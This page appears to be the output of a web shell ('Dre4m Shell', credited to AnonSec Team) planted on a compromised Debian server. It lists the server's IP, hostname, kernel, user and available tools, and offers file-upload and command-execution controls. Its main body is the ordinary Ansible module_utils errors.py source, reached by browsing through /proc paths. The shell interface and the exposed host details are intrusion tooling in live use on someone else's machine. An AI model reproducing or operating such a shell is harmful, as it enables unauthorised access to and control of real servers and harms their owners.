Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.221.160.29
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/3/task/3/cwd/usr/lib/python3/dist-packages/ansible/module_utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/3/task/3/cwd/usr/lib/python3/dist-packages/ansible/module_utils/errors.py
# -*- coding: utf-8 -*-
# Copyright (c) 2021 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)

from __future__ import absolute_import, division, print_function
__metaclass__ = type


class AnsibleFallbackNotFound(Exception):
    """Fallback validator was not found"""


class AnsibleValidationError(Exception):
    """Single argument spec validation error"""

    def __init__(self, message):
        super(AnsibleValidationError, self).__init__(message)
        self.error_message = message
        """The error message passed in when the exception was raised."""

    @property
    def msg(self):
        """The error message passed in when the exception was raised."""
        return self.args[0]


class AnsibleValidationErrorMultiple(AnsibleValidationError):
    """Multiple argument spec validation errors"""

    def __init__(self, errors=None):
        self.errors = errors[:] if errors else []
        """:class:`list` of :class:`AnsibleValidationError` objects"""

    def __getitem__(self, key):
        return self.errors[key]

    def __setitem__(self, key, value):
        self.errors[key] = value

    def __delitem__(self, key):
        del self.errors[key]

    @property
    def msg(self):
        """The first message from the first error in ``errors``."""
        return self.errors[0].args[0]

    @property
    def messages(self):
        """:class:`list` of each error message in ``errors``."""
        return [err.msg for err in self.errors]

    def append(self, error):
        """Append a new error to ``self.errors``.

        Only :class:`AnsibleValidationError` should be added.
        """

        self.errors.append(error)

    def extend(self, errors):
        """Append each item in ``errors`` to ``self.errors``. Only :class:`AnsibleValidationError` should be added."""
        self.errors.extend(errors)


class AliasError(AnsibleValidationError):
    """Error handling aliases"""


class ArgumentTypeError(AnsibleValidationError):
    """Error with parameter type"""


class ArgumentValueError(AnsibleValidationError):
    """Error with parameter value"""


class DeprecationError(AnsibleValidationError):
    """Error processing parameter deprecations"""


class ElementError(AnsibleValidationError):
    """Error when validating elements"""


class MutuallyExclusiveError(AnsibleValidationError):
    """Mutually exclusive parameters were supplied"""


class NoLogError(AnsibleValidationError):
    """Error converting no_log values"""


class RequiredByError(AnsibleValidationError):
    """Error with parameters that are required by other parameters"""


class RequiredDefaultError(AnsibleValidationError):
    """A required parameter was assigned a default value"""


class RequiredError(AnsibleValidationError):
    """Missing a required parameter"""


class RequiredIfError(AnsibleValidationError):
    """Error with conditionally required parameters"""


class RequiredOneOfError(AnsibleValidationError):
    """Error with parameters where at least one is required"""


class RequiredTogetherError(AnsibleValidationError):
    """Error with parameters that are required together"""


class SubParameterTypeError(AnsibleValidationError):
    """Incorrect type for subparameter"""


class UnsupportedError(AnsibleValidationError):
    """Unsupported parameters were supplied"""

Anon7 - 2022
AnonSec Team